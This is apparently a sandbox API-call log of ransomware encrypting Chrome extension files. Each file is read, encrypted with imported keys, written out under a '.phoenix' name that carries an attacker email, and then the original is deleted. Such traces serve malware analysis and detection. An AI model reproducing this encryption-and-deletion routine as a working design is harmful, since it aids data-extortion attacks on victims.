	[0263.553] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x120, lpOverlapped=0x0) returned 1
	[0263.554] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1513c0) returned 1
	[0263.554] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.554] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.554] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0263.554] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.555] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0263.555] CloseHandle (hObject=0x2c4) returned 1
	[0263.555] CloseHandle (hObject=0x2b0) returned 1
	[0263.555] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json")) returned 1
	[0263.556] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.556] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.557] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=210) returned 1
	[0263.557] CloseHandle (hObject=0x2b0) returned 1
	[0263.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json")) returned 0x20
	[0263.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.557] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.557] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.557] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.557] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.558] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1510c0) returned 1
	[0263.558] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.558] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xd2, lpOverlapped=0x0) returned 1
	[0263.559] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0263.559] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0263.560] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151400) returned 1
	[0263.560] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.560] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.560] CryptDestroyKey (hKey=0x151400) returned 1
	[0263.560] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.560] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0263.560] CloseHandle (hObject=0x2b0) returned 1
	[0263.560] CloseHandle (hObject=0x2c4) returned 1
	[0263.560] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json")) returned 1
	[0263.561] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.561] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.561] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=222) returned 1
	[0263.561] CloseHandle (hObject=0x2c4) returned 1
	[0263.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json")) returned 0x20
	[0263.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.562] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.562] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.562] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.562] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.563] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151600) returned 1
	[0263.563] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.563] ReadFile (in: hFile=0x2c4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xde, lpOverlapped=0x0) returned 1
	[0263.612] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0263.612] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0263.614] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151700) returned 1
	[0263.614] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.614] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.614] CryptDestroyKey (hKey=0x151700) returned 1
	[0263.614] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.614] CryptDestroyKey (hKey=0x151600) returned 1
	[0263.614] CloseHandle (hObject=0x2c4) returned 1
	[0263.614] CloseHandle (hObject=0x2b0) returned 1
	[0263.614] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json")) returned 1
	[0263.615] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.615] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.615] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=249) returned 1
	[0263.616] CloseHandle (hObject=0x2b0) returned 1
	[0263.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json")) returned 0x20
	[0263.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.616] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.616] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.616] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.616] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.616] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151140) returned 1
	[0263.616] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.617] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xf9, lpOverlapped=0x0) returned 1
	[0263.623] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100, dwBufLen=0x100 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100) returned 1
	[0263.626] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x100, lpOverlapped=0x0) returned 1
	[0263.659] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1515c0) returned 1
	[0263.659] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.659] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.659] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0263.659] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.659] CryptDestroyKey (hKey=0x151140) returned 1
	[0263.659] CloseHandle (hObject=0x2b0) returned 1
	[0263.660] CloseHandle (hObject=0x2c4) returned 1
	[0263.660] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json")) returned 1
	[0263.674] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.674] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.675] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=9862) returned 1
	[0263.675] CloseHandle (hObject=0x308) returned 1
	[0263.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json")) returned 0x20
	[0263.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.675] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.676] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.676] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.676] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.728] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151440) returned 1
	[0263.728] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.728] ReadFile (in: hFile=0x308, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x2686, lpOverlapped=0x0) returned 1
	[0263.754] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2690, dwBufLen=0x2690 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2690) returned 1
	[0263.754] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2690, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2690, lpOverlapped=0x0) returned 1
	[0263.755] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151500) returned 1
	[0263.755] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.755] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0263.755] CryptDestroyKey (hKey=0x151500) returned 1
	[0263.755] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0263.755] CryptDestroyKey (hKey=0x151440) returned 1
	[0263.755] CloseHandle (hObject=0x308) returned 1
	[0263.755] CloseHandle (hObject=0x2c0) returned 1
	[0263.755] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json")) returned 1
	[0263.756] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.756] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\background_script.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\background_script.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.757] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1637) returned 1
	[0263.757] CloseHandle (hObject=0x2c0) returned 1
	[0263.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\background_script.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\background_script.js")) returned 0x20
